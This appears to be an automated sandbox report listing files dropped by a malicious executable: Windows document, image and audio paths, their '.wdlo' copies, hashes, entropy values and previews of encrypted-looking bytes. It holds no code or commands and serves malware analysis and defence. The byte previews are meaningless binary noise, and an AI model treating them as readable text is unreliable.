Preview:	IPKGEi.5..T......l.E...`R.(...P.C.J.=_.].'.B.5.B...zq.....g....C... 2X.]lD....1{.$.9.G.9.H...h..F.?.+F.`#m.....q8.".......q....i.......>.{..D..gJ..C+.uVs_S...S2.....4.....r..l>.K.&.\.._..1.SX0..Y.AZ}:+....=.8'....ir.T..>..1[#...Y.^.W....;..z..&f.Cj.Sxj....F.;I.F..7Wf..a}..\.......x..`.P..z^.....38.Q..iBrU...i....Y-....V.(._z.?E..`..a....~9Y.>......~...N.v.....}..p.!u.$t}......?..GA.......+..pF..$.....g9(.s18.D.].....D..N...U.L!3Q.g........I..)....\|...P.-Z...mB_a..G.).....i0.a...R. g:........y..c..=.vOQ\.{p...-..i.......O..J....m.>.....n.P)....L.y./....b2.6_..C...&f..j.q....CY+..\.W.lY6;..&..P..X..m.paG1ES..U..)._Y(..6eN....\|Mv9.......3.%..o.4MM...Fm.[.{>.$P...{7;%..S.,..Pwj...@.9Z.s.`...j.r9....d..a..T....d.I...b)k.#g..R....._X..B<.&....4....G.......>.:.!]"..7.;.D&h.,VX..X.....-.$o.1!.b..T+..[..-.G.`.X.u..F.z...2.Z......u\..9....qcPe'.V....^.......5#..).rD.h{3uS_(N.?*.'..........Ch.B..[....au_HZ...7JcE..6f.e.......;.o^...V.w

C:\Users\user\Documents\SFPUSAFIOL\LSBIHQFDVT.jpg

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859964158968092
Encrypted:	false
SSDEEP:	24:KbGe3wMHWdM73jaSH7XmbyaK92Oeb+Z/dEfAYk1cxOwZObnV/mzUQTkmPvhoTvzF:KzHWEPmbyPwOX/dAUcxOwZcn0zUxmPp2
MD5:	EE4DB97A14DA5BB503CF9F3CF8DFFB71
SHA1:	2F50DC60AB7DB066CF9EA7BDE6728E2AA73C5561
SHA-256:	B90E135094750F4B76547D06D37341D5F7898911D45227E4E2C9B394CDCD382D
SHA-512:	7A50EB31B59DA5EA4DCB63EEA83EB458A64B0AF0B7BCD68A443FE4AC68D2890E692ACE3566D027446FDEC53588BE5BA428853FA4F00650EDF2575390B236B571
Malicious:	false
Preview:	LSBIH...'yu..&......yP.d/...Ik.u.6.>..T..`_#e.W^....Wt..+#...6J.MR......3{.x.&..W.7.0....ncY..}l3....,<...[..-X.......a....l.{.).?r.z$}.....=#D..'..d..\|.Ts....v.0...a.fU...<^.:........`.fd.)....RN.P.k...p..F../...}.F.F..`1...>.y.C........{.[`6.:\|T.}o....IRy...q.U...Dd......?P.L...an.,..v...=...o...+...d..y2L...W.......-..>h..y..S.V.O.z.j......`D.y......,.Z.#O.k.Z. ?F".VIF.V..'..,i@.00Q.j..)Q.]..x...S...4....K.`N~..'.`.Q..v.Eg<P.J$....5.NT..s.k&..<Oa.g..m.07./...R.q..c...'..JL.y...zYJ.....y"...8..y.(t.C..`..t'c)..o5...._..8...Y..n..p)....T$.'...8eL..Ow..N.8.p#..saJF.4......}.....'$..+g./5.0..x.r....]KB }..1M...H{.y+...YB9.%HG.u.....y....)..wN..@,.......>].h%.M..m.O-..'..\w..@.....w..i>............CWu....Y.-.....f.ub.F..5^W........:'...nf.;4..K1..<0.1..........&A....f/dW...Oq....OI.+....:....}=shj.,..`St].O..6R...Z...%\.q..L..$....F.....\..tl.).v@..........".2.W..T.iZN.~'.A..%7.7..j.l..d.>y..${.3...if......PO..!R@G.i.Qps&...DH0.:...

C:\Users\user\Documents\SFPUSAFIOL\LSBIHQFDVT.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859964158968092
Encrypted:	false
SSDEEP:	24:KbGe3wMHWdM73jaSH7XmbyaK92Oeb+Z/dEfAYk1cxOwZObnV/mzUQTkmPvhoTvzF:KzHWEPmbyPwOX/dAUcxOwZcn0zUxmPp2
MD5:	EE4DB97A14DA5BB503CF9F3CF8DFFB71
SHA1:	2F50DC60AB7DB066CF9EA7BDE6728E2AA73C5561
SHA-256:	B90E135094750F4B76547D06D37341D5F7898911D45227E4E2C9B394CDCD382D
SHA-512:	7A50EB31B59DA5EA4DCB63EEA83EB458A64B0AF0B7BCD68A443FE4AC68D2890E692ACE3566D027446FDEC53588BE5BA428853FA4F00650EDF2575390B236B571
Malicious:	false
Preview:	LSBIH...'yu..&......yP.d/...Ik.u.6.>..T..`_#e.W^....Wt..+#...6J.MR......3{.x.&..W.7.0....ncY..}l3....,<...[..-X.......a....l.{.).?r.z$}.....=#D..'..d..\|.Ts....v.0...a.fU...<^.:........`.fd.)....RN.P.k...p..F../...}.F.F..`1...>.y.C........{.[`6.:\|T.}o....IRy...q.U...Dd......?P.L...an.,..v...=...o...+...d..y2L...W.......-..>h..y..S.V.O.z.j......`D.y......,.Z.#O.k.Z. ?F".VIF.V..'..,i@.00Q.j..)Q.]..x...S...4....K.`N~..'.`.Q..v.Eg<P.J$....5.NT..s.k&..<Oa.g..m.07./...R.q..c...'..JL.y...zYJ.....y"...8..y.(t.C..`..t'c)..o5...._..8...Y..n..p)....T$.'...8eL..Ow..N.8.p#..saJF.4......}.....'$..+g./5.0..x.r....]KB }..1M...H{.y+...YB9.%HG.u.....y....)..wN..@,.......>].h%.M..m.O-..'..\w..@.....w..i>............CWu....Y.-.....f.ub.F..5^W........:'...nf.;4..K1..<0.1..........&A....f/dW...Oq....OI.+....:....}=shj.,..`St].O..6R...Z...%\.q..L..$....F.....\..tl.).v@..........".2.W..T.iZN.~'.A..%7.7..j.l..d.>y..${.3...if......PO..!R@G.i.Qps&...DH0.:...

C:\Users\user\Documents\SFPUSAFIOL\NEBFQQYWPS.pdf

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833759105975156
Encrypted:	false
SSDEEP:	24:tBrKONrQcrxiTzqpsbB3ayXz6dCiNTjQfag9xnjZ8s/dOJGWvx22rKx3zbD:tRQci4sbBACq3QzjF8s1OVN83nD
MD5:	A2DB728C0CBFEC3289C4979AF4E02CBA
SHA1:	63F52C23ED14B5081F4338CE5F1126A237C8B95A
SHA-256:	BA7888D5C28230B6EA6F310E21D67A1D4D1FF4375874C23D13438A5E40939EE1
SHA-512:	CB4F9234424583D1282740B84EAEAA16E830C26E5224D060734C3D40D8424EF8FEF94287A4C300F38650D0B4B49871D64D15D23A381C54F760EFB0D310189320
Malicious:	false
Preview:	NEBFQ....7WK~.lN.cfImwI......2.s........F..Q.P....]...P7o...2>.(..D...\N.c..G!.(..&..N...J.P....y.....^L.Z....."...........g.../u.y....3.......O...\.zK.>.........o.b]zH...9..m.4..N.....G.Wk..KD..B.`.~-D.z.....UR.....?..UX2+u[.<y....M......t.A".FZ..87E.v^..^..7...I.2 &..6iP..5n7.<.V.._..a5....>X.....\|.c.3A.{F.g.......h.uV.ay...D.Cy.F..O^...kj..b..+w.4.......iI.p.......8.O.Ie.......H..c.q.4..dp.....>3.m_....n..O..........Y..j'.WU..M.?.Pw....j..D....U.@...Q%.7..O.T..t7..X-{8\.[.} .......B"2...W..'+QB.).H.T?...........m.zJ>..D..h.\...z.....K..D.rKx.G.....hr.?...+.......8...;..].7..^.sB..>..HS..rzB...>..vE..."vt..[F.=....r....q.<.kD...6.].r.....v9..D.../.-..s.g2...C..l\|b....c...#........DP.#..#F`....-.;.j~h.2[.d.....N.:...9~cYM/]m...hE....K...*t.@y6...t{.b...0..dP...tEv..\|.7....+.`.7@..,....(.l..@h'%..V..oW..Bul.....@T../.UU.._....a......j!B.wi.....P.rsY:..6.?.i`.Z...u...#....`P(..?[Q.p.H{N-.;..?q..y..WJx`....DA\|l..YV}M.E..

C:\Users\user\Documents\SFPUSAFIOL\NEBFQQYWPS.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833759105975156
Encrypted:	false
SSDEEP:	24:tBrKONrQcrxiTzqpsbB3ayXz6dCiNTjQfag9xnjZ8s/dOJGWvx22rKx3zbD:tRQci4sbBACq3QzjF8s1OVN83nD
MD5:	A2DB728C0CBFEC3289C4979AF4E02CBA
SHA1:	63F52C23ED14B5081F4338CE5F1126A237C8B95A
SHA-256:	BA7888D5C28230B6EA6F310E21D67A1D4D1FF4375874C23D13438A5E40939EE1
SHA-512:	CB4F9234424583D1282740B84EAEAA16E830C26E5224D060734C3D40D8424EF8FEF94287A4C300F38650D0B4B49871D64D15D23A381C54F760EFB0D310189320
Malicious:	false
Preview:	NEBFQ....7WK~.lN.cfImwI......2.s........F..Q.P....]...P7o...2>.(..D...\N.c..G!.(..&..N...J.P....y.....^L.Z....."...........g.../u.y....3.......O...\.zK.>.........o.b]zH...9..m.4..N.....G.Wk..KD..B.`.~-D.z.....UR.....?..UX2+u[.<y....M......t.A".FZ..87E.v^..^..7...I.2 &..6iP..5n7.<.V.._..a5....>X.....\|.c.3A.{F.g.......h.uV.ay...D.Cy.F..O^...kj..b..+w.4.......iI.p.......8.O.Ie.......H..c.q.4..dp.....>3.m_....n..O..........Y..j'.WU..M.?.Pw....j..D....U.@...Q%.7..O.T..t7..X-{8\.[.} .......B"2...W..'+QB.).H.T?...........m.zJ>..D..h.\...z.....K..D.rKx.G.....hr.?...+.......8...;..].7..^.sB..>..HS..rzB...>..vE..."vt..[F.=....r....q.<.kD...6.].r.....v9..D.../.-..s.g2...C..l\|b....c...#........DP.#..#F`....-.;.j~h.2[.d.....N.:...9~cYM/]m...hE....K...*t.@y6...t{.b...0..dP...tEv..\|.7....+.`.7@..,....(.l..@h'%..V..oW..Bul.....@T../.UU.._....a......j!B.wi.....P.rsY:..6.?.i`.Z...u...#....`P(..?[Q.p.H{N-.;..?q..y..WJx`....DA\|l..YV}M.E..

C:\Users\user\Documents\SFPUSAFIOL\SFPUSAFIOL.docx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843374935192569
Encrypted:	false
SSDEEP:	24:Ab3zgtWZ2SDskzGU5sZxhqtns8R0HYD0vihVQWYw1d8wbBFJ2/K3zbD:cjpZLskzHts87DIihL84b3nD
MD5:	04AB1704C6BA92F4D64D4CE1D0BBF479
SHA1:	86D9D0BEA21A44BF912878140AB1E872B3BE323D
SHA-256:	2831231EFB1CF741149CCB99FEE5006CF6747BF5B10F3B59D4F1565D5919F5ED
SHA-512:	3A67C57060A73F39A9FAA5F79E6EB3927A899655D2A7B6E83C3283FD62571D5D669E5587F68CC92FBDA188A8ECB02AEF3D8F9801E9912DD6404F68FE56B7C373
Malicious:	false
Preview:	SFPUS.S.X....!...E.n.=1..>....{.>A....RT.:a........9.wC...........c......7 .......(..&.o2J:U.:7..w....qLF-.0.4`q...X......C.,a/<..s.++aSq....v.c.3.K........z+...P%..9.d..4.7..8.z...S.....a.t..+/T...VF.....j./KP.x..P...B@.(...Y.xH8.9....:..q.h....].-ZPj..3...'.....s..0u.I.g&.Q.AE',M]@[;_....-..\|a4Z.Pt..w...C..Q.p..,...a.tF.. ..\Q...h.x.y.} .....3Q..j..0....D<<...V_-.e.iB..(..R.0....-.4.0.....].(u..j.V.....QwD8.....F..n...e.Gz...g.>.YTI...~../g...~........(..j.n......3.N...=..lZr(.=....FsT....B.Z.zu.p4Z....,.?..Z.K...#....\|...........T.0.2..... .......(%..+Vt1V.5..0.W.bA......vcOH.i......d.\..a..p .._5.1.....].7-.fA..V.T.....gGH...%.....\4......m_...6>H...D5g6`.U..w.t.2..,rd...`.kO.y,.....q.8=....Yr..t...A..M.b..G.U......U.W..fK?..I... ...5.i`&....".~X.....y.}.OVU. .).g..}A.u.u3.Q.5..6..1.I_.f....fW.jE.._m...K...K}f.........ub....+.5.....j..e..?{.L.bR{...."=d..ZLJe..bF.h./.a...;.wYTOe.E....U.d...(Z...m..e..<........x.9..G....

C:\Users\user\Documents\SFPUSAFIOL\SFPUSAFIOL.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843374935192569
Encrypted:	false
SSDEEP:	24:Ab3zgtWZ2SDskzGU5sZxhqtns8R0HYD0vihVQWYw1d8wbBFJ2/K3zbD:cjpZLskzHts87DIihL84b3nD
MD5:	04AB1704C6BA92F4D64D4CE1D0BBF479
SHA1:	86D9D0BEA21A44BF912878140AB1E872B3BE323D
SHA-256:	2831231EFB1CF741149CCB99FEE5006CF6747BF5B10F3B59D4F1565D5919F5ED
SHA-512:	3A67C57060A73F39A9FAA5F79E6EB3927A899655D2A7B6E83C3283FD62571D5D669E5587F68CC92FBDA188A8ECB02AEF3D8F9801E9912DD6404F68FE56B7C373
Malicious:	false
Preview:	SFPUS.S.X....!...E.n.=1..>....{.>A....RT.:a........9.wC...........c......7 .......(..&.o2J:U.:7..w....qLF-.0.4`q...X......C.,a/<..s.++aSq....v.c.3.K........z+...P%..9.d..4.7..8.z...S.....a.t..+/T...VF.....j./KP.x..P...B@.(...Y.xH8.9....:..q.h....].-ZPj..3...'.....s..0u.I.g&.Q.AE',M]@[;_....-..\|a4Z.Pt..w...C..Q.p..,...a.tF.. ..\Q...h.x.y.} .....3Q..j..0....D<<...V_-.e.iB..(..R.0....-.4.0.....].(u..j.V.....QwD8.....F..n...e.Gz...g.>.YTI...~../g...~........(..j.n......3.N...=..lZr(.=....FsT....B.Z.zu.p4Z....,.?..Z.K...#....\|...........T.0.2..... .......(%..+Vt1V.5..0.W.bA......vcOH.i......d.\..a..p .._5.1.....].7-.fA..V.T.....gGH...%.....\4......m_...6>H...D5g6`.U..w.t.2..,rd...`.kO.y,.....q.8=....Yr..t...A..M.b..G.U......U.W..fK?..I... ...5.i`&....".~X.....y.}.OVU. .).g..}A.u.u3.Q.5..6..1.I_.f....fW.jE.._m...K...K}f.........ub....+.5.....j..e..?{.L.bR{...."=d..ZLJe..bF.h./.a...;.wYTOe.E....U.d...(Z...m..e..<........x.9..G....

C:\Users\user\Documents\SFPUSAFIOL\ZQIXMVQGAH.png

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86119277727477
Encrypted:	false
SSDEEP:	24:heOPAuAoUpCqWcN4WHaZ64fP1ln3AxAhE2xo3P8JdgHRwJh1ysr+s+ks5tgeNXN0:heOW5ZFHaZ7n3AyhE2xE0JuoDwNk0ptm
MD5:	1C6AB09D1ECE113037E33606AE345918
SHA1:	BFC669964D2EBF1DD861363A33D034E932449F2B
SHA-256:	BADC4BE308F97CE0D18BF8DA8C998F5B93555A85D708BD909C17BABD05A01791
SHA-512:	26C862D59545CFA800DD3C0BD9647AF8B7B93C2051BB50BADEBFA460376AF9C93A57CD0C238EB30B0AD7C7B82F301F22BFA05B7380F3404B569C4CD521E4A8E1
Malicious:	false
Preview:	ZQIXM.{..w.....q.]m.iO..XF.4......j.....%.1.....l......0j...9.1.WB.3.R...4.{zn...w........\|.$.d.[b..H....6.....A!.hJ.v/.R...x.d..\H.2;...!.'O..._..o..!.k..H...2......=!.7X..4.!.x....E.$.h...rT...p..&...TK.G.<u.X.P.X..w.......w.Q.....8.<....5b@.1.@`F.C....1q....$.N...j.d...o........c4...<.^u]..JH..2w....F.%.i.u..Z.8.$.........li........(e..g...M.U.b.C.....~..K-4."..V.6Q.~..(....e.Lf$.. .....g.sF$)..{.@_...c-.Q....W..`?...Y .1.{-XK...../.^...m..uB4../]2.\LS%....,.R.Hf..x.......U.......D.5.q....8..>[.n.....t.....Q.j... r..}".........wqx.o..%..k.....t..W....=K.J.(..........E..9..G...Rw.iH.F.~OS..<.SD....5Z.g,..n..'.......u.Im?.Z..J...._..NU........$.@....4`6/{o.B....Xz.&Y\|19...E.......s(.<................2...O.Y.Jc{t....9.....$}Y..-]..<...;......6.\H...../.2_..'.....k....d...)...........t.s).H..@.\G.i.p.7.a('L..I%.n.b.....>...2...t..D..(..b...,..h.w~K`y.f...U.w....>C...\)...g..x.*.N...._.yZ8.:..P.YKP..F..2.]..]E]..4...3.{

C:\Users\user\Documents\SFPUSAFIOL\ZQIXMVQGAH.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86119277727477
Encrypted:	false
SSDEEP:	24:heOPAuAoUpCqWcN4WHaZ64fP1ln3AxAhE2xo3P8JdgHRwJh1ysr+s+ks5tgeNXN0:heOW5ZFHaZ7n3AyhE2xE0JuoDwNk0ptm
MD5:	1C6AB09D1ECE113037E33606AE345918
SHA1:	BFC669964D2EBF1DD861363A33D034E932449F2B
SHA-256:	BADC4BE308F97CE0D18BF8DA8C998F5B93555A85D708BD909C17BABD05A01791
SHA-512:	26C862D59545CFA800DD3C0BD9647AF8B7B93C2051BB50BADEBFA460376AF9C93A57CD0C238EB30B0AD7C7B82F301F22BFA05B7380F3404B569C4CD521E4A8E1
Malicious:	false
Preview:	ZQIXM.{..w.....q.]m.iO..XF.4......j.....%.1.....l......0j...9.1.WB.3.R...4.{zn...w........\|.$.d.[b..H....6.....A!.hJ.v/.R...x.d..\H.2;...!.'O..._..o..!.k..H...2......=!.7X..4.!.x....E.$.h...rT...p..&...TK.G.<u.X.P.X..w.......w.Q.....8.<....5b@.1.@`F.C....1q....$.N...j.d...o........c4...<.^u]..JH..2w....F.%.i.u..Z.8.$.........li........(e..g...M.U.b.C.....~..K-4."..V.6Q.~..(....e.Lf$.. .....g.sF$)..{.@_...c-.Q....W..`?...Y .1.{-XK...../.^...m..uB4../]2.\LS%....,.R.Hf..x.......U.......D.5.q....8..>[.n.....t.....Q.j... r..}".........wqx.o..%..k.....t..W....=K.J.(..........E..9..G...Rw.iH.F.~OS..<.SD....5Z.g,..n..'.......u.Im?.Z..J...._..NU........$.@....4`6/{o.B....Xz.&Y\|19...E.......s(.<................2...O.Y.Jc{t....9.....$}Y..-]..<...;......6.\H...../.2_..'.....k....d...)...........t.s).H..@.\G.i.p.7.a('L..I%.n.b.....>...2...t..D..(..b...,..h.w~K`y.f...U.w....>C...\)...g..x.*.N...._.yZ8.:..P.YKP..F..2.]..]E]..4...3.{

C:\Users\user\Documents\SUAVTZKNFL.png

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862994669403046
Encrypted:	false
SSDEEP:	24:tnLFzDCqS6IRav0UUB0ekLSRZS/ZkNcp/QzyZcloF98ZHqjyL9hT/PIlafgY3zbD:tFzU70v0Umk+Rk/rNQGalW98ZKjyL3bT
MD5:	4673B2C958EC1BE178F1BB17D565A0C2
SHA1:	5F5A9FF6D510794EFC6BFBE822923CEFC85E96E7
SHA-256:	19332A7572190ED417985C50CB74AE807587DEBE9C2345F76B4A221BC141095A
SHA-512:	5D91538659C4ABE5D6B540D8878F9F11175EE72304E96574D97B8AC4DDA76EA0C9B8243136A2561040731DC61359CC51D715CC1036B48A639CD97E26EF1BF9B2
Malicious:	false
Preview:	SUAVT...ox...{.O..26..g.X.Doq.-%.0.p_.....'-.F......JR.........,.....y...:.m....B...4...v..,...v..x.~./....X..7r...3~.....R.}....(.9.PBiT.,.nd1.....6.%.x.....n0P...a..g...^A.Di...\|.?~.......gB..t/u.u...4......g[}.....hH.)..U.............B....g....[N...)..ie....F.e.&x..-b)....2.N......].L.)o.....I.BG`v...h.j.1M.,...._S.V.F......P[..p[...].....zyf.\NqLY.'..o..S....".....s..9/.l1......9.>.OjB...'V.I.t.r..dq,C!.m.4..)W.....}..y......A..y./.S..........+.K.ZZ\.D.F..wb...~.......;A..\|..."....b..Cj:.}bf..N...+.J.X8.{..;....X...BU....{..+.F.......VH..p..7p..s....Nw.Zg,.4..t.w...P#....rv.......1.87...tf.$hO.Qp...Q..X..:...v_#..K-^(.#b..DQ4......uk...Y.4\F...........b......HD..Q.8....f7..Q.....:.)...q.6j.Ww}<cj.I9.(.....s..#...f..%..\|.9.JC9.O..A...<.@.[.....g....9.Q.i.....`.'(...D...w..#...VL.ySY3%\.dK..Q..,.....!q...`9&.\\|...j..:.s...".T.N.;...m....1.......c.......r.m]..b.I.@..E.2{.2&.kSR...-..`...;T$~O..\|@o.....~.w..gErq...

C:\Users\user\Documents\SUAVTZKNFL.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862994669403046
Encrypted:	false
SSDEEP:	24:tnLFzDCqS6IRav0UUB0ekLSRZS/ZkNcp/QzyZcloF98ZHqjyL9hT/PIlafgY3zbD:tFzU70v0Umk+Rk/rNQGalW98ZKjyL3bT
MD5:	4673B2C958EC1BE178F1BB17D565A0C2
SHA1:	5F5A9FF6D510794EFC6BFBE822923CEFC85E96E7
SHA-256:	19332A7572190ED417985C50CB74AE807587DEBE9C2345F76B4A221BC141095A
SHA-512:	5D91538659C4ABE5D6B540D8878F9F11175EE72304E96574D97B8AC4DDA76EA0C9B8243136A2561040731DC61359CC51D715CC1036B48A639CD97E26EF1BF9B2
Malicious:	false
Preview:	SUAVT...ox...{.O..26..g.X.Doq.-%.0.p_.....'-.F......JR.........,.....y...:.m....B...4...v..,...v..x.~./....X..7r...3~.....R.}....(.9.PBiT.,.nd1.....6.%.x.....n0P...a..g...^A.Di...\|.?~.......gB..t/u.u...4......g[}.....hH.)..U.............B....g....[N...)..ie....F.e.&x..-b)....2.N......].L.)o.....I.BG`v...h.j.1M.,...._S.V.F......P[..p[...].....zyf.\NqLY.'..o..S....".....s..9/.l1......9.>.OjB...'V.I.t.r..dq,C!.m.4..)W.....}..y......A..y./.S..........+.K.ZZ\.D.F..wb...~.......;A..\|..."....b..Cj:.}bf..N...+.J.X8.{..;....X...BU....{..+.F.......VH..p..7p..s....Nw.Zg,.4..t.w...P#....rv.......1.87...tf.$hO.Qp...Q..X..:...v_#..K-^(.#b..DQ4......uk...Y.4\F...........b......HD..Q.8....f7..Q.....:.)...q.6j.Ww}<cj.I9.(.....s..#...f..%..\|.9.JC9.O..A...<.@.[.....g....9.Q.i.....`.'(...D...w..#...VL.ySY3%\.dK..Q..,.....!q...`9&.\\|...j..:.s...".T.N.;...m....1.......c.......r.m]..b.I.@..E.2{.2&.kSR...-..`...;T$~O..\|@o.....~.w..gErq...

C:\Users\user\Documents\ZQIXMVQGAH.png

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8759936985100625
Encrypted:	false
SSDEEP:	24:NiadfhaxDpWxLY0QBEhCK5XimW1bN/rYwA8zlaUI7P3N6oS3zbD:0axxfiyCcK1Z/MwNzIB9o3nD
MD5:	B32FA2C492B3253DA3F03A7EAA10714C
SHA1:	1703C70D2473E1FDCE5B0582A6F091C84D54970D
SHA-256:	56EF7CFE99E61AC6C86ACA5BB0E54AEA2892A5817B93D804DC75D3C5B6F088F5
SHA-512:	1735A1F5895927D565E3F37A787E84840FA6A2166BEAA6D8B0DBE633C48590B9D7145B87425B56F6CE7C4CF077D391674DF17B3FD9607D6E88039D3586CC62DF
Malicious:	false
Preview:	ZQIXM..%...E.m...Z..[u.C].B.....e.,GDR..hQ..&1...:..ohC......e.9/..{H...>.j...-'(\-]...].S.l..#".....E. ...^......Q8...u.s.k..K...s.X4. .n...V.r.?{s ....Jg........A..P.b.za6..w]..O}^...R..XDTW.2...Yr.....Q..n..wC..V.Xt...E?.[.......t.`D..qs...X...).T.$...^.w.b.e..s....#..\|..n.-B{............Z4.\Z.C.A..q.c..fz...]gV.[..i..EJ.Z...:`..y.Z.6....y..w{P...Y8..N.x..d...."Ec..e.Y....(.?G_.Z.8.c@..:...m8[....s.i.z.!.36i9.W...+"r?.y.KeLj(1b........w.......D..K..AEj..q.W.a.K.<H?...z......6........q....;'A#>.=5...S)..$.8g.W.%".zk.a.2...........w.......!..M.Hf.t...L..f.g.`..5..4.H\E..%!..9...x.l...U.......T....o..o...y..5.P...X......=........s..H.)....,....yw...M.....MV..9.%l ..=...F......0.&..~G..K3....uC..6.b7La0fS!Ic.5j..o.{.h*.w...L...(Q.....x......g.f6.~h..[.}0{....,u...p.4..6...o.S.....{0x.B.....Y.....T>..g..I..p.8..=NZ...}w..QB.1Hl.]m..x..g.D..p2u.J...o..9+q.....v..0_;........H.W.\...h........^....Z...../...<j&.v.v3P8_..\|~[.`;.[E.9

C:\Users\user\Documents\ZQIXMVQGAH.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8759936985100625
Encrypted:	false
SSDEEP:	24:NiadfhaxDpWxLY0QBEhCK5XimW1bN/rYwA8zlaUI7P3N6oS3zbD:0axxfiyCcK1Z/MwNzIB9o3nD
MD5:	B32FA2C492B3253DA3F03A7EAA10714C
SHA1:	1703C70D2473E1FDCE5B0582A6F091C84D54970D
SHA-256:	56EF7CFE99E61AC6C86ACA5BB0E54AEA2892A5817B93D804DC75D3C5B6F088F5
SHA-512:	1735A1F5895927D565E3F37A787E84840FA6A2166BEAA6D8B0DBE633C48590B9D7145B87425B56F6CE7C4CF077D391674DF17B3FD9607D6E88039D3586CC62DF
Malicious:	false
Preview:	ZQIXM..%...E.m...Z..[u.C].B.....e.,GDR..hQ..&1...:..ohC......e.9/..{H...>.j...-'(\-]...].S.l..#".....E. ...^......Q8...u.s.k..K...s.X4. .n...V.r.?{s ....Jg........A..P.b.za6..w]..O}^...R..XDTW.2...Yr.....Q..n..wC..V.Xt...E?.[.......t.`D..qs...X...).T.$...^.w.b.e..s....#..\|..n.-B{............Z4.\Z.C.A..q.c..fz...]gV.[..i..EJ.Z...:`..y.Z.6....y..w{P...Y8..N.x..d...."Ec..e.Y....(.?G_.Z.8.c@..:...m8[....s.i.z.!.36i9.W...+"r?.y.KeLj(1b........w.......D..K..AEj..q.W.a.K.<H?...z......6........q....;'A#>.=5...S)..$.8g.W.%".zk.a.2...........w.......!..M.Hf.t...L..f.g.`..5..4.H\E..%!..9...x.l...U.......T....o..o...y..5.P...X......=........s..H.)....,....yw...M.....MV..9.%l ..=...F......0.&..~G..K3....uC..6.b7La0fS!Ic.5j..o.{.h*.w...L...(Q.....x......g.f6.~h..[.}0{....,u...p.4..6...o.S.....{0x.B.....Y.....T>..g..I..p.8..=NZ...}w..QB.1Hl.]m..x..g.D..p2u.J...o..9+q.....v..0_;........H.W.\...h........^....Z...../...<j&.v.v3P8_..\|~[.`;.[E.9

C:\Users\user\Downloads\BJZFPPWAPT.mp3

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837760909185753
Encrypted:	false
SSDEEP:	24:zQgjJ6pTSFaeCSAeMhHMTbBhQBFjBr0P9WJ3rj/EJueqLxDuKHZpeX3zbD:sgjWmFzCSAMDQJr0P9AbDO38EK5py3nD
MD5:	38C930690072C70AA21E1080EACFD5DD
SHA1:	3C69A4FE6C37BD438D18F66C6D7462E3E3196DA5
SHA-256:	6520B8A73C291863FCDFD272CF2CAFF044A38127EDD6BD87B544723C9F8B4829
SHA-512:	33F295C0CF77D4647790A0D2242A14FD6080BADC2790CD1D6487353FFA18BD89451199C06611D2B77AB0B3A6AE659CD4F863C04E68E7E8BBAA478707361DDD09
Malicious:	false
Preview:	BJZFP&.#hA..8._..@.......^...m....l[F..e.%7.A..=...?d.e~..z.....[u8ql..7.Cu #~w.-...3..J+..:go,..R!....C..y..C..E..I.l.L.%.3L&.(+E.......q..`...Iv........1.n.lb....f3.........H.u.a.W.!....c2M........XMq..k...:S5....v.Ay..\|..o_..r.)..7......l..O....@>.Q....G.5..m.C$..}..zu.j.:......I...=...\j..56.<.\}G.J.Kz&w.y....X..0...g.?.&. ..Yb.9...5..c.[...u.+.3..a.C(.h.o"..D(..J....r....r.@......k.P...Ew.i..xY%].g....h.D...2..j...WM".C...F8q..#........}Y9.V..!!>....R.......A.....zf.=..b.cI.V<..,.@...\|....~4..B@I.Z...zw.4./... . "....=.....P.o.J..q...I.J.2..E.".....O...aIC..G...._..F.;.2o......c..[...k]......d..[....;..>.....L....>B.:..guqG.r\|y$jl..5z.{.....}........E..Q...yj.zl..V......S.Y........We.R..J.=.v..P.!.......?a...L>..._..F...3...-..........5......}7.HY....%.F..x.@2y...Xf..1<.}^.H(.Sb[v.........j,MM.F<3O...].M.ot.@\._.: 